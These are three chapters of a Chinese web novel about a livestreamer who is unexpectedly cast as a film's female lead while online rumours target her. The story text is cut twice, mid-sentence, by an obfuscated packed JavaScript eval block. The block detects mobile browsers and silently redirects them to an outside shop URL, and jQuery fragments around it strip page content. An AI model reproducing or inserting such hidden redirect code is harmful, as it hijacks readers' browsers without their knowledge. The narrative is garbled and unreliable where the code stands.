林见微:[还没接到通知呢,你先忙着吧,不用操心我的事] 就这么说着,手机突然叮咚响了一声。 时闻、谷煜好奇凑过来,于是六只眼睛一起看见手机屏幕顶头上赫然滚动出一条短信: 大劈叉选手您好!再次恭喜您入选《星璨》选秀节目。我们预计于7月19日(下周一)开始第一期的录制,请您务必于当日早晨9点前到达现场,地址是京南市演艺中心三楼,到时候会有工作人员指引。 50.五十 谷煜率先发出一声欢呼:“说曹操曹操到,好好准备,下周一我陪你一起去。” 时闻先是思忖着对林见微评论道:“你没有经纪人,所以只收到了这条短信,不然早该有人和你对接流程了……” 而后幽幽抬头望向谷煜:“你这么闲吗?” 谷煜竟露出一个略带羞赧的笑:“你忘了,那谁也去啊。” 时闻先是惊奇,而后恍然大悟地“哦”了一声:“我明白了。” 林见微:“???我不明白,什么意思???” 时闻嘿嘿一笑:“我们两个都有偶像……到时候你就知道了。” 她本想多问,但韦宁的电话突然打了进来,原来刚刚她在忙着选角的事,只能发短信,现在闲下来了就打个电话问问情况。 整个通话过程的大多数时间都是韦宁在单方面大倒苦水,这是她第一次和文眉导演合作,虽然之前就对她的超高要求做好了心理建设,没想到工作强度和难度还是大大超乎意料。 通话结束后窗外天都黑了,谷煜哈欠连天说要回去歇着,林见微也觉得跑了一天挺累的,恨不得立刻扑倒在宾馆里那张柔软的大床上。 最后时闻带着二人迅速看了一眼楼下的房子——房子的户型和装修风格和时闻家如出一辙,简直就是双胞胎。 林见微表示很满意,挥手告别看上去站着就能睡着的谷煜,还有望着谷煜一脸嫌弃的时闻,迈着轻快的步伐回到了宾馆。 洗了个澡换了舒适衣服,时闻已经拉了一个群聊,刘家父女都在里面,听说时闻邀请刘伶俐去京南培训,还负担住宿,又惊喜又疑惑。 时闻和谷煜把未来几十年的人品都担保上了,才让刘家父女觉得这不是陷阱。 但刘兴和毕竟不放心女儿一个人在外面,所以坚持要和女儿同住。 最后时闻只能答应把楼下房子租住给刘兴和和刘伶俐,林见微只能另找房源。 正当林见微不无惋惜地准备关上手机大睡一觉,时闻发来一条消息: [房子的事对不住啊,要是你不介意,我家次卧也能住人,你要是愿意搬进来,房租水电全免。] 瞳孔地震! 林见微盯着屏幕上那条消息足足愣了一刻钟。 而后她逐字逐句读了不下五遍,再四确认自己没有理解错意思。 他……真的是在邀请她同住。 真的吗??? 真的是这样吗??? 发生了什么??他为什么要这样,他是怎么想的,我应该接受吗,我为什么有点高兴嘴角忍不住上扬??? 一条回复编辑几次,删了又改改了又删,最后实在是不知该怎么回。 “啊啊啊啊啊!!!”林见微仰天长叹。 - 第二天一早。 一夜深眠的林见微从被窝里坐起,看了一眼手机,显示时间是早上8:37。 她刷了一会儿手机,稍微清醒后洗漱一下,然后就坐地铁直奔几公里外的盛楷大厦。 韦宁昨天告诉她,《冬逝华年》的选角现场在盛楷大厦18楼,她这两天从早到晚都在这里。 无论怎样,她都需要把户口本拿到,毕竟以后租房还有和《星璨》签合同,都可能需要用到复印件。 今天的她照例是日常打扮,白色T恤配一条浅色牛仔裤,整个人显得清新自然,淡如白开水的妆容和齐肩长发给她增添了一丝优雅知性。 上到18楼,只见不窄的走廊里一左一右分别排着人,清一色的年轻女生,人人面色凝重紧张,或低头对着手机喃喃低语,或对着A4纸念念有词。 林见微立刻明白过来:她们都是来角色面试的。 她看了一眼队伍里的人,惊讶地发现了几张熟面孔。 当年她没头没脑疯狂跑组的时候,认识了一些和她一样没背景没家世,每天都苦苦挣扎在贫困线上的小演员。 时过境迁,她幸运地搭上了文眉导演《烟雨半生》的戏,一步一步成为了还算知名的演员,也渐渐和这些曾一起并肩作战,各地试戏的小伙伴们失去了联系。 其实咬牙坚持下来的人大多混得还行,能在各大电影电视剧里混个男/女四号的角色,算是演艺经历丰富的前辈了。 但令她惊讶的是,她们竟也来这里试戏,而且看面色一点也不比其他人放松。 唏嘘地穿过走廊,林见微直奔1806,韦宁说这里是她的休息室。 休息室其实是个能容纳十几人的会议室,桌子上凌乱地摆着若干矿泉水瓶,插着叉子的空泡面盒,从楼下咖啡馆刚买回来的咖啡,零零散散的打印着台词的纸张,角落里还摆着马扎甚至行军床。 她一眼就看到了蜷缩在一角的,盯着浓厚黑眼圈,大口大口喝着咖啡的韦宁。 她和上次见面时大相径庭,人憔悴了许多,头发胡乱扎在脑后,眼神也变得有些涣散。 看来最近的工作强度太大了。 林见微心疼地在她身旁坐下,韦宁这时才注意到她,活动了一下僵硬的脖子,抱歉地笑了笑: “太忙了,要疯了!面试了好几天,就是找不到合适的人选。” 说着她把手中的几页剧本抖得哗啦响,林见微干脆接过来,一边看一边问:“男女主都没定下来吗?” 韦宁哀叹:“男主其实初步定下来了,是文眉导演之前合作过的男演员,现在麻烦的是找不到和他气质相衬的女主。” 文眉导演所有的戏她都看过,于是好奇问道:“男主定的是谁?” 韦宁:“周落。” 林见微的脑子里嗡地炸开了。 周落,这两个字她已经很久没有念起了。 抑或说,这个名字已经深埋在心底很久了。 他是《月淡花浓》的男主,《月淡花浓》是他们共同的处女作,那是一次终生难忘的合作。 拍摄结束后他们相忘于江湖,即使在工作场合遇到,二人也只是擦肩而过,默契地不做点头之交。 那份小心翼翼呵护着的,不可言说的只属于少男少女的情愫,最终因为摩擦和误会,在岁月里遗落失散。 两个人走散了,就再也回不去了。 这时会议室大门打开,一个干练有力的女声落了进来:“演员已经准备好了,韦宁你忙完了吗?” 那声音听着异常熟悉,林见微抬起头,看见一个瘦削高挺的中年女人走了进来,皮肤因为连续的吃饭睡觉不规律显得黄黑,嘴唇上结着一层干皮,黑眼圈叠着眼袋上面的那双眼睛却目光清亮。 那是导演文眉,一个凭一己之力在华语圈杀出了一方天地的女导演。 也曾经是她的伯乐,将林见微从贫穷阴暗的生活中拯救出来。 韦宁慌忙将还剩一口的咖啡仰头喝完,啪地放在桌上霍然起身,这时文眉注意到她旁边坐着的那年轻女孩。 她几乎未施粉黛,五官是出水芙蓉般的清秀明丽,又带着一股令人难忘的孤独倔强。 英气的眉宇之间仿佛隐着一头笼中小兽,随时可以为了自由理想拼尽一切。 她就那样定定地坐在那里,身上似乎带着无限的故事,有魔力一般勾着人只想一探究竟。 文眉定定地盯着林见微,心里某个地方轰然裂开,一种说不清的巨大熟悉感忽然涌了上来。 韦宁见文眉站在那里纹丝不动,还道是自己忘带了什么东西,慌忙对林见微伸出手:“剧本给我。” 林见微也注意到了文眉不同寻常的目光,但也没多想,低下头弯腰将手中的几页纸递还。 这时文眉缓缓开口问道:“你是谁?” 韦宁知道文眉不喜欢有陌生人进入工作区域,慌忙替她答道:“这是我妹妹,韦盏,找我有点事情,她很快就走了。” 一边说一边把林见微从座位上拉起,催促道:“快走吧,户口本可拿好了!” 文眉紧紧盯着林见微从位置上站起,快速上下打量了她的身型: 165的身高,一百斤左右,标准的九头身。 她无论是坐着还是走路,体态都非常挺拔,一看就是练过舞蹈的。 很好。 文眉:“等一等,让我问几个问题。” 韦宁疑惑地看着她,林见微却暗暗猜到了什么,落落地说:“导演您问。” 吐字清晰,不疾不徐,音色如落玉,清脆悦耳。 文眉:“你看过我的戏吗?” 林见微笑道:“当然,您的作品我都看过。” 文眉十分意外:“最喜欢哪一部,哪个人物?” 林见微想了想,还是决定遵从内心:“有一部戏虽然不是您亲自导的,但听说是您幕后指导,由您的大弟子拍摄完成的,叫《月淡花浓》。” 文眉更加意外了,《月淡花浓》知名度不高,用的都是新人演员,拍出来之后虽然拿了几个小奖项,但终归是一部叫好不叫座的片子,业内都没太多人知道。 她怎么会看过这么冷门的片子? 但她说的确实没错,当年拍摄片子的是她的学生洛铭,但她对美术、剧本、拍摄流程等提供了全方位指导,还亲自探班数次。 林见微笑着解释说:“我之所以最喜欢《月淡花浓》,是因为它讲的是一个非常纯粹的情感故事。那是动荡的战争年月,家境贫寒的沈黎和富家公子叶疏在学堂里因一曲月淡花浓相知相识,暗许终生,叶家自然百般阻挠,故意让叶疏误会沈黎移情别恋,以绝情思。” “可是叶疏一怒之下竟离家出走,参军后辗转成为了第一批飞行员,沈黎为了养家糊口只得嫁人,可是战乱之中丈夫、公婆、父母相继病死,她一个人带着孩子艰难度日。” “沈黎和叶疏重逢时已三十多岁,跨过半生风霜,二人相顾无言,唯有执手相看,泪满衣裳。” “那时二人都住在西南,叶疏是战功赫赫的飞行大队长,为沈黎谋了一份中学国文老师的差事。两人一有空就待在一起,但默契地没有提到婚事。” “那时飞行员死亡率非常之高,所以叶疏每次执行任务前都来看望沈黎,留下一封遗书和钱物。” “当遗书写到第十封时,叶疏便再也没有回来,在一个月淡花浓之夜,他的飞机摔在了高山之巅,他的生命也永远定格在那个夜晚。” “叶疏走了以后,沈黎原本也想找一个月淡花浓之夜自我了断在山崖之间,和叶疏长相厮守,可是没想到被路过的山民救起。” “后来她含泪决定继续活下去,抚育其他飞行员的遗孤,退休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618907|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后拄着拐杖走遍山山水水,看着这盛世终于如他所望。” “我喜欢这部片子,因为沈黎和叶疏就好像高山上的两朵紧紧相依迎风绽放的雪莲,风雪愈大开得愈盛,离得愈近,直至死亡将他们分隔。” “我喜欢的人物是沈黎和叶疏,是他们二人一起成就了这样纯粹的情比金坚的感情,缺一不可。” 文眉听得频频点头,其实林见微说的和其他人的观后感并无显著不同,绝大多数的观影者都会在影片末尾为沈黎和叶疏的爱情流下感动的泪水。 但不知为什么,林见微讲述自己的感叹时,那股真挚的劲儿特别打动文眉。 就好像,她自己是亲历的见证者一般。 演员最重要的就是信念感,眼前这个女孩子能对一个虚构出来的故事如此共情,当真难得。 文眉心下感慨了片刻,又看着她手里那几页纸问道:“那是《冬逝华年》的剧本,你刚刚看了是吧?” 林见微点头,刚刚她确实通读了一遍,知道这几页纸讲的是一年之后男女主在小酒馆重逢的戏。 文眉:“有什么感受?” 林见微想了想答道:“我很喜欢这场戏,男女主都不是什么善类,过往的经历让他们心里早已伤痕累累千疮百孔,却依然愿意为了一个缥缈的约定,克服千难万险,越过千山万水,在初雪的日子赶回初见的地方。” “这样的感情,也令人敬佩和向往。” 文眉暗暗点头:“你觉得女主角是个什么样的人?” 林见微心下暗惊,通常来说,导演这么问,是对角色心有所属故而抛出橄榄枝。 她仔仔细细回忆了一下看过的内容,缓缓道:“她是一个生活在苦难的夹缝中,却依然向往热爱着那从缝隙渗下来的几缕希望的人,为了那份卑微缥缈的希望,她不惜竭尽全力,燃尽生命。” 文眉忍不住点头,脸上是掩不住的赞许。 韦宁暗惊,和文眉工作这么久了,她就没见过她对谁表达过赞许。 半晌后文眉问道:“你想不想来试一下戏?” 林见微着实惊讶了一下,刚刚虽然有了心理准备,但文眉这么快这么直接地抛出橄榄枝,她还是非常意外。 脑子卡壳了一下,她结结巴巴问道:“啊?你说我吗?” 她的反应逗笑了文眉:“就试你手里的那出戏。” 林见微立刻道:“没问题。” 文眉:“好,那你随我来,”说到这里突然反应过来,问道:“你需不需要时间再熟悉一下台词?” 林见微摇头:“不用了,我都记下来了。” 文眉惊讶至极,音调都提高了几度:“几页纸的词都记下了?” 快速记住台词是演员的基本功,林见微逼自己练过,之前她拍戏的时候就有“记忆王”的称号。 虽然不能做到过目不忘,但通读几遍之后记个八九不离十是可以的。 之前打电话的时候,韦宁也无意中透露过最近在试的戏大概是什么感觉,所以刚刚看了几遍后,林见微真的几乎记住了全部台词。 只要上场前再看一遍,就没有问题。 林见微给出了肯定的回答:“没问题了,随时可以试戏。” 文眉半是钦佩半是怀疑地看着她,招手道:“好,那你跟我来。” 林见微、韦宁跟着文眉穿过长长的走廊,来到尽头的一个小房间里。 里面空无一人,中央有两把黑色折叠椅,后面是白色打光板,面前驾着几台摄像机和收声器,隔了几米还有一台监视器。 文眉指着其中一把椅子说:“你坐在那里,先不要动,我去监视器后面看看。” 林见微明白这是要检查一下她的镜头感,毕竟很多人现实生活里长得还挺好看的,可是到了镜头前却变了模样。 她知道自己以前的长相是上镜的,但现在…… 因为心里没底,她手心里渐渐渗出一层细汗。 坐在这里才知道,她是非常渴望这次机会的。 熟悉的环境熟悉的感觉,她能感觉到肾上腺素的飙升,她是真心热爱演戏的,毕生最大的梦想就是能在镜头前演绎一个又一个角色。 上辈子她还没能完全实现这个愿望,这辈子会不会有机会呢? 她静静地坐在那里,看向面前黑洞洞的镜头,那里没有人,但她却想象着戏里的男主角坐在那里,那双幽深难测,历经风雨而无处言说的眸子近在咫尺。 她心里一块坚硬如冰的地方突然慢慢开始融化,她望着他,好像越过岁月看到了苦难本身,也看到了饱历风霜的自己。 于是她嘴角划出一抹苦涩的微笑。 监视器那头,文眉身旁不知何时突然出现了一个年轻男人,一身黑衣,戴着黑帽子黑口罩,身形瘦削颀长,不得不微微弓腰才能看到监视器里的内容。 幽深晦暗的眸子目不转睛地盯着镜头里的景象时,过了许久,男人才意识到不知何时他已不自觉地屏住呼吸。 他明明没有见过这个女孩,却有一种冥冥之中注定的惊艳感。 文眉碰了下他的肩膀,他才回过神,抬头的时候对上文眉意味深长的目光:“看上了?” 周落深呼一口气,重重地点头:“就是她。” 51.五十一 监视器那头,林见微还没注意到发生了什么,电话就响了起来。 “劈叉,你今晚有空吗?”对面调门高得可以唱秦腔了,而且豪迈地扯着嗓子,虽然没有开免提,说话的嗡鸣声也响彻整个房间。 不用看来电提醒就知道,这是大河向东刘。 “今晚……没事。”林见微不得不捂住话筒小声答道。 “没事就出来聚聚一起吃个饭呗,你、我、沈惊鸿、波波、南瓜,咱们一起商量一下拍搞笑视频的事。” 林见微:“好,你把时间地点发给我,我现在还有点事,先挂了。” 对面还在大声地说“好,好,你先忙”,林见微赶紧匆忙挂断电话,抬起头的时候监视器那头就只剩下文眉了。 她笑着看着她,温声道:“你把第一页的戏演给我看。” 林见微立刻低头快速看了一遍第一页的台词。刚刚她本来都熟记于心,情绪也调动好了,可是大河向东刘这么一打岔,她一下子就出戏了。 深呼吸几次,重新调整好情绪,她抬起头,做了个OK的手势。 文眉也轻点头,于是林见微深情望着镜头,轻轻一笑,缓缓道:“这一年,还好吗?” 她的声音是克制的喑哑低沉,连带着脸上的笑也显得隐忍脆弱。 这个时候本该是男主的台词:“经历了点波折,你还好吗?” 此时林见微是对着空气演戏的,可是她脑子里已经出现了戏中的场景,对面的镜头已经幻化成男主,他坐在那里,带着一副淡淡的微笑,骨节分明的修长手指静静摇着一杯深红色的威士忌。 她想象着他说这句话的样子,然后说了下一句台词:“说说你的波折?” 监视器后,文眉惊叹不已,刚刚林见微停留的时间和她心里想象中的分秒不差,她的样子也如她心里的画面一样。 她心里想象着林见微和周落坐在一起的画面,只觉是天造地设的一对,般配得不能行。 文眉仰头望天,暗道:这难道是冥冥之中注定的缘分?她面试了那么多演员,有经验的没经验的,科班出身的半路出家的,都看过来了一个遍,却没有任何一个女演员让她觉得人戏合一。 她就是她要找的女主角。 林见微还在往下演,文眉做了个暂停的手势:“可以了,”而后冲韦宁道:“你帮我把小助理叫进来一下吧。” 韦宁出了门,没一会儿一个戴着黑色圆眼镜的,戴着鸭舌帽穿着深蓝格子衬衣的小个子女生走了进来。 “小陈,今天外面来面试的有多少人?”文眉问道。 “现在来的有二十多个吧,下午可能还要来二十多个。” 文眉大手一挥:“让她们都回去吧,跟下午要来的人也说一下不用跑了。” 小陈震惊地推了推眼镜,不可思议地望着她:“文导您是临时有什么事吗,要不我跟他们说,让他们明天再来……” 文眉干脆地打断她:“不用了,”然后指着林见微:“女主角的人选我已经找到了,你带她去看合同敲行程吧。” 小陈、韦宁、林见微三脸震惊:“??!!” 韦宁惊得手里的咖啡差点洒了,过了好半晌才结结巴巴说:“导、导演,你,你确定……??” 文眉沉稳点头:“我看上的人,错不了。” 韦宁艰难道:“可是我妹妹她,她……” 文眉射过来的目光犀利无比:“她怎么了?你是怕外界说我任人唯亲,怕人说她是走后门进来的?” 韦宁疯狂摇头:“不是的,我倒不是担心这个……” 小陈掐了掐自己,再三确认自己不是因为这两天过于忙乱而出现了幻听,紧张的目光在林见微和文眉之间反复游移。 足足盯了二人一分钟,她才说道:“可是文导,她在热搜上已经挂了两天了。” 文眉这下可太意外了,她一直刻意地和网络和社交媒体保持距离,专注沉心于拍片选剧本,所以她网速比较慢,热搜新闻得花几天才能传到。 仔细端详着小陈的激烈反应,她突然意识到,眼前坐着的这个女孩,可能有什么黑料。 这可是大忌。 文眉的目光一下子变得犀利而警惕:“因为什么事上的热搜?” 林见微抢先答道:“报告导演,我的本职工作是香蕉直播的一名主播,最近在内部的选拔赛里获得了《星璨》的参赛名额,但是我的对手质疑我的资格,所以花钱买热搜黑我。” 韦宁连连点头应和:“没错的导演,我妹妹不是那种投机取巧的人,一直很懂事的……” 文眉盯着林见微,目光犀利得能把她穿透:“你刚刚为什么没说?” 林见微叫苦不迭,刚刚她也没机会说啊,而且热搜刚刚出来,很可能过两天就下去了。 可是眼下的情形又不允许她辩驳,林见微只得低头,诚恳而歉意地说:“对不起导演,我不是要故意隐瞒这些,我自问自己够格参加《星璨》,所以身正不怕影子斜,如果您需要考察我的唱跳功底,我现在就能给您来一段。” 说着她抬起头,无比诚恳地看着文眉。 文眉默不作声,似乎在思考什么非常重要的事,屋内安静极了,韦宁和小陈你看看我我看看你,大气都不敢出。 半晌后文眉缓缓道:“你可知道流量和热搜是双刃剑,既能在短时间内给你巨大名气和泼天富贵,也能像狂风巨浪一样把你拍死在吐沫星子里?” 林见微连连点头。 文眉:“你可知道一部戏从立项、选角、拍摄,到后期制作、宣发,要经历多长的时间,耗费多少人力物力财力?” 林见微:“我明白,耗资巨大,风险极高。” 文眉:“你知道就好!我一开始想用你,是看重了你是新人,是一张白纸,虽然需要多花点功夫教你演戏,但是至少没有塌房的风险。可是既然你已经上了热搜……” 林见微慌忙道:“导演,我扪心自问,真的没有动歪心思走歪路去争取《星璨》的名额,我不像网上说的那样不堪,今时今日的一切都是我用辛勤努力和汗水泪水咬牙一点点换来的。” “导演,虽然我从来没演过戏,但是我珍视每一次来之不易的机会,您的片子我都看过,能和您合作是我梦寐以求的事情,求您给我一次机会,哪怕是试用的机会也行,让我证明给您:我可以的,您让我吃什么苦我都愿意!” 林见微说得真挚动情,到后面声音已有些哽咽,泪水盈满眼眶。 文眉似乎有些动情,皱着的眉头稍稍舒展了一些,目光也变得柔和几分。 韦宁也替她争取道:“文导,我是看着我妹妹长大的,我们就像石头夹缝中求生存的两株野草,狂风吹过,烈日晒过,大雨淋过,什么苦都吃了,可是我们依然顽强地寻找希望,愿意为了任何一个缥缈的机会拼尽全力。” “您就试着先用一用她吧,这一段我和小陈可以继续帮您找新的演员,如果她不合适,我们保证您还有备用人选。” 文眉沉默地听着,脑子里不断地思考着什么,姐妹俩情真意切,文眉却始终面色凝重。 最后她对林见微说:“你先回去等通知吧,我需要和制片人商量一下,评估一下可能的风险。” 说着她从监视器后起身,也没和韦宁小陈打招呼,大步朝门外走去。 这是下了逐客令,韦宁和小陈面面相觑。 互相交换了一个眼神后小陈说:“那,你们先忙,我去和外面等着的演员传达一下文导的意思。” 小陈走后,姐妹俩忧心忡忡地四目相对,大喜大悲过后二人都觉得异常疲累。 最后林见微反而安慰起韦宁道:“没事的,反正这也是意外得来的机会,失去了就失去了。” 韦宁连着好几夜没好好合眼,刚刚又猛灌了黑咖啡,情绪异常激动:“我为你感到难过!多好的机会,就这样被网上子虚乌有的言论给冲掉了,太过分了!” 林见微:“没事,总还有人遇见过比这更坑的事情,以后总还是会有机会的。” 韦宁捶了一下墙面:“可这是千载难逢,求都求不来的好机会!唉!!” 林见微:“文导不是说让我回去等通知吗,我们就耐心等一下,兴许过两天热搜就撤掉了,兴许制片人觉得我这事儿根本不是事儿。” 韦宁长长哀叹一声:“眼下也只能这样了,我找机会再和文眉导演煽风点火一下,她这个人最欣赏锲而不舍百折不挠之人,我再努把力,你也想想办法,看有没有什么方法把你那词条的热度降下去。” 说着又哀叹一句:“你没有专业的经纪团队,是不是什么时候考虑一下?以后遇到这种情况也好解决,不会像现在这样跟无头苍蝇一样。” 其实最近有一些名不见经传的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626116|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司找到林见微,但绝大多数看上去都不靠谱,大概率是在骗钱。 她本来希冀着参加完《星璨》有了一定知名度后,会有更多识货靠谱的经纪公司来找她,可是现在…… 此时此刻,一个极强的念头忽地冒了出来:得找时闻商量一下。 念头出现的时候她吓了一跳,长久以来她都习惯了一个人处理各种纷繁头疼之事,有时甚至自嘲已经进化出了三头六臂。 即使和陈怀顾在一起的时候,他也从没对自己提供过实质性的帮助,更多的时候反而是她去帮他处理烂摊子。 变成大劈叉之后,她更是恨不得一天有四十八小时,把自己掰成两半用,但从未想过有一天,她也可以向外求援,这个世界上竟然有那么一个人,让她在脆弱无助的时候想要投靠。 这太不寻常了。 更不寻常的是,她发现当她想起时闻的时候,内心竟有一种暖暖的要融化的感觉,嘴角也禁不住上扬。 她轻咳一声,逼迫自己转移注意力:“以后的事以后再说吧,我得先回去了。” 说着她看着韦宁那两抹浓重的黑眼圈,心疼道:“你要好好注意身体啊,劳逸结合,别为了工作把自己累垮了。” 韦宁苦笑:“我就是个小编剧而已,人微言轻,身不由己,老板要拼命,怎么敢不奉陪!” 林见微还要说什么,韦宁抢道:“好啦我知道你的意思,等这一段忙完就好了。对了,差点把正事忘了,我带你去取户口本。” 林见微跟着韦宁回到休息室,从角落里一个白色帆布包里取了户口本,韦宁再四嘱咐她一定要放好了,林见微答应着,和姐姐道了别。 当她心事重重走到电梯口走时,刚刚在走廊里排队的演员们正唉声叹气地蜂拥在这里。 他们一个个垂着脑袋,脸色极差,口中愤愤不平地说着什么。 “我连夜坐飞机赶过来的,结果就这??连导演的面都没见到,这也太无情了吧?” “刚刚陈老师说文导已经定下了女主角色,可是面试都没开始,她怎么定下来的??难道是制片方塞人了??” “那又有什么稀奇的,这年头,谁演戏不得有点背景啊!都是黑幕!” “可别让我知道是谁拿到了这个角色,害我们白跑一趟,等我发现了,哼哼,我要她好看,去微博上骂死她!” “就是,绝人前途,不得好死!” 电梯门叮咚一声打开,面试失利的演员们耷拉着脑袋鱼贯而入,林见微默默地站在一旁,坐了下一班电梯。 脑子乱乱的,她走出了盛楷大厦,一股热浪劈头砸来,她赶紧就近躲进了一个安静的小咖啡馆里。 咖啡的香气袅袅交织在空中,蓝调萨克斯从头顶轻柔传来,林见微要了杯黑咖,找到角落里的位置坐了下来。 然后她找到“劈叉有故事”的群聊,开启群通话。 时闻秒接。 “怎么了?”时闻问道。 他看上去刚睡醒没多久,身上还穿着绸缎般的灰色睡衣,眼睛带着一点惺忪。 林见微忍俊不禁:“刚起?” 时闻将一杯咖啡和一盘油亮诱人的麦芬蛋糕举了起来:“吃早点呢。” 麦芬蛋糕个顶个一个比一个大,看上去香气诱人松软可口,她都已经想象到一口咬下去,糕体瞬间融化在口里,奶香淡奶香直达上颚…… 林见微艰难地咽了下口水,直勾勾盯着那盘蛋糕:“……你这是放飞自我了吗?那东西热量很高啊!” 时闻哈哈一笑,一口咬下一大半蛋糕:“我不是失业了嘛。” 林见微盯着他一口一口把一大盘蛋糕都吃完,啧啧感叹真是活久见。 谁能想到外表那么清冷矜贵,不苟言笑的一个人,背地里竟然偷吃这么多热量爆表的蛋糕! 吃完还绽放出那么灿烂的笑容! 林见微脑子里飘过自己为了保持身材每天咀嚼的一堆草,内心哀嚎一声。 这时谷煜也接通了电话,看上去也是睡眼惺忪,刚醒的样子。 时闻收敛笑意,问林见微是不是遇到什么事了,林见微遂把刚刚的意外试戏经历讲了一遍。 谷煜和时闻两个人的眼睛嘴巴都变成了大大的O型。 经历了一轮夹杂着“wft”的狂风暴雨般的盘问,林见微苦恼地问道:“所以我该怎么办呢?” 52.五十二 谷煜又是一阵狂骂,时闻好不容易找到一个空隙,冷静地说:“你们看看现在的热搜榜。” 谷煜 & 林见微:“???” 时闻:“你们看一下就知道了。” 二人将信将疑地打开微博,结果发现热搜榜第一名赫然是一个新词条:#时穆飞小麋鹿电影票房大爆。 词条旁边还缀着一个深红色的“沸”字。 这个词条是过去两个小时才出现的,但是讨论度转发量惊人,一下子冲到了热搜榜榜首。 热搜第二也是和时穆飞、小麋鹿相关的:#时穆飞小麋鹿深夜见面,疑似有望复合? 词条旁边也缀着一个深红色的“沸”字,转发评论惊人得多,甚至大有超过第一个词条的势头。 林见微惊讶地合不拢嘴,谷煜的神色则愈来愈凝重,他的目光紧紧锁在手机上,半天都没抬头—— 因为热搜第三竟然是:#笑口集团接班人富二代的清流 谷煜 紧挨着的热搜第四是:#谷煜 富二代接班的反面典型 谷煜点进这两个和他相关的词条,快速下读的时候眉头越皱越深,拳头也渐渐攥紧。 如果说第一个词条里的评论还是正负参半,有人说他正直善良,肯干实事,有人说他懦弱无能,注定失败,那第二个词条里的公众舆论就是压倒性地一边倒—— 所有人都在攻击他能力不足,弱鸡一个,绣花枕头一包草。 不少评论都说他是典型的富二代瞎折腾,越折腾越赔钱,还不如做个正经二代,好好逍遥度日。 里面甚至有人放话说,预测谷煜很快就会把家底赔光,笑口集团未来三五年就要倒闭。 谷煜脸色铁青,恨不得顺着网线爬过去,把那些骂人的网友一个个揪出来,狠狠揍一顿。 但是问题是,他为什么会上热搜??他又不是公众人物,也不稀罕大众目光,只想低调度日,可是为什么,为什么他他娘的会上热搜?? 突然,谷煜好像明白了什么,抬起了头。 然后撞上了时闻那笑吟吟的面容。 谷煜:“!#@¥%&*?!!!” 时闻:“所以你们看出名堂了吧?” 谷煜:“名堂倒是看出来了,但是你需要给老子一个解释!你为什么要买热搜黑老子!!” 时闻笑眯眯地看着他,缓缓说道:“这是我精心为你规划的崛起之路啊,这是三十六计中的第三十七计,先抑后扬。” “我们先在众人面前为你打造一个窝囊废形象,让大家觉得你干啥啥不行,但是人是个好人,那么这样至少有三个好处。” “第一,你有了国民讨论度,所以大家自然而然地会对笑口集团、舒养酸奶、乃至所有你打算推出的新产品感兴趣,相当于给你和你的产品打了个广告。” “第二,降低大家对你工作能力的期待度,但让大家认可你的为人,这样其实提升了你的公众形象,大家想起笑口集团,就会想起一个傻呵呵的只想做实事的富二代,自然而然地对产品产生信任感。” “第三,在此期间你闷声发大财,干一票大的,站着把钱挣了。” “怎么样,兄弟为你规划的好吧?” 谷煜气得鼻子都歪了:“我他娘的不需要你的规划!而且,你为什么不提前跟我打声招呼?” 时闻笑嘻嘻地露出洁白牙齿:“我这么做,不也是为了答谢你之前为我安排得明明白白的情谊嘛。” 谷煜脱口而出:“我什么时候给你安排得明明白……哦你是说租房的事啊。” 时闻打了个响指:“Bingo!你看,你对我这么好,心心念念,劳心劳力地给我安排室友,兄弟感激至极,所以作为回报,我为你谋划了这条先抑后扬的崛起之路,怎么样,够意思吧?” 谷煜简直要气炸了,但是时闻说得又句句在理,没什么可反驳的。 而且时闻这么做,也帮到了林见微,这四条热搜词条一放上来,立刻把林见微的词条压得没影了。 现在网友纷纷忙着吃时穆飞和小麋鹿的瓜,谁还在乎一个十八线小主播有没有黑料啊。 所以林见微一边感激,一边感叹,时闻这一手真是妙啊。 这时时闻又给她吃了个定心丸:“我大哥和小麋鹿这两个人都是没流量不能活的主,你看着吧,这只是刚刚开始,他们吃了这波热度,还会自己再煽风点火,造一番势。” “现在别说是你,就算是一个二线三线明星想上热搜,都挤不进去!” 林见微:“谢谢你,真的,这真是帮了我一个大忙!” 时闻笑得很开心:“不客气!” 只有谷煜一个人受伤的世界达成了,他仍在低头疯狂刷评论,几乎是看一条骂一条。 时闻也没管他,问林见微:“所以《冬逝华年》这部戏的男主定的是谁?” 这么一问,林见微刚刚松下来的心脏又紧绷起来。 她有点不想回答,但没办法,这种消息其实很快就会传开的。 “周落。”她听见自己小声咬牙道。 “什么???”谷煜终于停止阅读评论,抬起头,震耳欲聋的叫喊声穿过屏幕,几乎响彻了整个咖啡厅。 不少顾客纷纷回眸,投来疑惑责备的目光,林见微尴尬极了,抱歉地对四周说不好意思。 这时谷煜也意识到了自己的失态,骂骂咧咧地说了声抱歉。 林见微很能理解谷煜的心情,因为周落这个人,名声实在是不太好。 如果要评选娱乐圈堕落第一人,周落首当其冲。 他出道的时候,因其干净懵懂的少年气质广受好评,有些观众亲切地叫他国民弟弟。他那双一尘不染,让人想起无辜小奶狗的眸子,曾令无数少女乃至少男魂牵梦绕。 然而好景不长,不知从何时开始,他突然变得叛逆乖张,身上缀满的暗黑重金属装饰,还有无数层粉底也掩盖不住的黑眼圈和眼袋,都彰显了他的夜夜笙歌,醉生梦死。 